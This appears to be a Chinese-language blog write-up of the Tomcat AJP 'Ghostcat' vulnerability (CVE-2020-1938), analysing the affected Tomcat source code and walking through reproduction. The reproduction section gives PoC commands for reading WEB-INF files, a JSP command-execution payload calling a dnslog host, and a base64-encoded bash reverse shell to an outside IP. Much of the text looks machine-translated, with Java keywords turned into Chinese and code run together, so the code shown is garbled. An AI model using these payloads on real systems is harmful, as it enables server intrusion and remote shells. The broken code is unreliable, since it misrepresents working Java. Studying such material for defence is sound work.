一、漏洞介绍ApacheTomcat是Apache软件基金会旗下的Jakarta项目开发的Servlet容器。默认情况下,ApacheTomcat会打开AJP连接器,以方便与其他Web服务器通过AJP协议进行交互。但是ApacheTomcat中AJP协议的实现存在漏洞,攻击者可以通过发送恶意的AJP请求来读取或包含Web应用程序根目录下的任意文件。任意格式文件可能导致任意代码执行(RCE)。该漏洞利用AJP服务端口实现攻击,未开启AJP服务不受漏洞外部影响(tomcat开启AJP服务,默认绑定到0.0.0.0/0)。1.高风险级别2.漏洞危害攻击者可以读取所有Tomcatwebapp目录下的任意文件。另外,如果网站应用提供文件上传功能,攻击者可以先向服务器上传一个包含恶意JSP脚本代码的文件(上传的文件本身可以是任何类型的文件,如图片、纯文本文件、等),然后利用文件中包含的Ghostcat漏洞,从而实现代码执行的危害对于受漏洞影响的版本范围内的Tomcat,如果开启了AJPConnector,攻击者可以访问AJPConnector服务端口,存在被Ghostcat漏洞利用的风险。请注意,默认情况下启用TomcatAJP连接器并侦听0.0.0.0:8009。5、漏洞原理Tomcat配置了两个Connecto,HTTP和AJP:HTTP默认端口8080,处理http请求,AJP默认端口8009,用于处理AJP协议的请求,以及AJP比http更优化,多用途反向,集群等,该漏洞是由于TomcatAJP协议存在缺陷导致的。攻击者可以利用该漏洞构造特定参数读取并包含服务器webapp下的任意文件。如果有上传点,上传图片马等等,就可以获得shell二、漏洞分析1、漏洞分析:Tomcat默认的conf/server.xml配置了2个Connector,一个是对外提供的HTTP协议端口8080,以及另一个是默认的8009AJP协议端口,这两个端口默认都在监听外网ip。当tomcat收到一个ajp请求时,它调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息。prepareRequest取ajp中的内容,设置为request对象的Attribute属性,如下图所示:该特性可以在代码的507行使用,这样,下面三个Attribute属性javax.servlet.include。可以控制request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path封装成相应的requests,servlet映射过程继续如下图:看252行。2.使用方法:(1)使用DefaultServlet下载任何文件。当url请求不在mappedurl列表中时,tomcat默认的DefaultServlet会根据以上三个属性读取文件,如下图通过serveResource方法。资源文件通过getRelativePath获取资源文件路径,然后通过ajp控制的以上三个属性来读取文件。通过操作以上三个属性,可以读取/WEB-INF下的所有敏感文件,不限于class、xml、jar等文件。(2)通过jspservlet实现任意后缀文件。当url(如http://xxx/xxx/xxx.jsp)请求映射到org.apache.jasper.servlet.JspServlet的servlet时,也可以使用以上三个属性来控制访问的jsp文件如下图所示:控制好路径后,文件就可以被jsp解析了,所以只需要一个文件内容可控的文件就可以实现rce了。代码段分析1:tomcat默认监听的8009端口是用来处理AJP协议的。AJP协议基于TCP套接字通信。Tomcat使用此协议与前端WebServer传输信息。本次漏洞在于客户端可以使用AJP协议数据包控制请求对象的部分字段。具体tomcat源码的org.apache.coyote.ajp.AjpProcessor类的service()方法如下:其调用的prepareRequest()方法用于解析一些请求头,部分内容如下如下:可以看到,当ajp数据包头部设置为SC_REQ_ATTRIBUTE(具体值可以查询AJP协议规范)时,Connector会立即读取变量n(属性名)和v(值).当n不是SC_A_REQ_LOCAL_ADDR、SC_A_REQ_REMOTE_PORT、SC_A_SSL_PROTOCOL时,v将被用来赋值属性n。接下来,service()方法将修改后的请求替换为后续调用。=在org.apache.catalina.servlets.DefaultServlet中,当我们的请求声明了GET方法时,有调用service()->doGet()->serveResource(),解析serveResource()代码如下如下:getRelativePath()方法的内容如下:字符串路径信息;如果(request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI)!=null){pathInfoAtget=(String)Request(INCLUDE_PATH_INFO);servletPath=(String)request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);}else{......}StringBuilderresult=newStringBuilder();如果(servletPath.length()>0){result.append(servletPath);}if(pathInfo!=null){result.append(pathInfo);}......returnresult.toString();}从javax.servlet.RequestDispatcher可以看到这三个属性的名字:所以我们可以通过改变请求的这三个属性来控制请求的路径AJP协议。通过serveResource()方法获取到路径后的代码大致如下:会直接将通过路径获取到的资源序列化并输出,让客户端再根据AJP协议解析数据包可以得到文件内容代码段分析2:同理,tomcat默认以jsp/jspx结尾的请求为org.apache.jasper.servlet.JspServlet,其service()方法如下:可以看到jspUri也是由Defined通过两个可控的属性创建的,后续代码:这里的代码根据jspUri生成一个JspServletWrapper,会调用service()方法完成jsp代码的编译,并转化为servlet。servlet最终会以.java文件的形式写入到%CATALINA_HOME%/work/Engine/Host/Context目录下:经过上面的调用,这就形成了一个文件包含漏洞。当Web应用程序上的某个文件的内容可以被我们控制时,就会导致rce漏洞。三、漏洞复现1、环境准备(1)windows下漏洞复现的环境准备,这里以tomcat-8.5.32为例。https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip(2)安装jdk并配置JDK环境(3)然后启动tomcat,点击tomcat目录/binstartup.batroot@kali2019:~#gitclonehttps://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfiroot@kali2019:~#cdCNVD-2020-10487-Tomcat-Ajp-lfi/root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi#chmod+xCNVD-2020-10487-Tomcat-Ajp-lfi.pyroot@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi#pythonCNVD-2020-10487-Tomcat-Ajp-lfi.py192.168.1.9-p8009-fWEB-INF/web.xm读取文件读取web-inf/web.xm文件pythonCNVD-2020-10487-Tomcat-Ajp-lfi.py10.10.10.134-p8009-fWEB-INF/web.xmlpythonCNVD-2020-10487-Tomcat-Ajp-lfi.py10.10.10.134-p8009-f索引。jsp命令执行executewhoami命令python"filecontains(CVE-2020-1938).py"10.10.10.134-p8009-f/test.txtpingdnslog<%java.io.InputStreamin=Runtime.getRuntime().exec("pingfiohed.dnslog.cn").getInputStream();整数=-1;字节[]b=新字节[2048];out.print("
");while((a=in.read(b))!=-1){out.println(新字符串(b));}out.print("");%>ReboundshellReboundshell命令需要进行bash编码在线bash代码:http://www.jackson-t。ca/runtime-exec-payloads.htmlhttps://ares-x.com/tools/runtime-exec/POC下载地址:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read<%java.io.InputStreamin=Runtime.getRuntime().exec("bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();整数=-1;字节[]b=新字节[2048];out.print("
");while((a=in.read(b))!=-1){out.println(newString(b));}out.print("");%>在反弹壳的过程中,我尝试了很多次,都失败了,所以放一张斯文大师成功的图。REFhttps://www.cnblogs.com/backlion/p/12870365.htmlhttps://xz.aliyun.com/t/7325https://www.svenbeast.com/post/fqSI9laE8/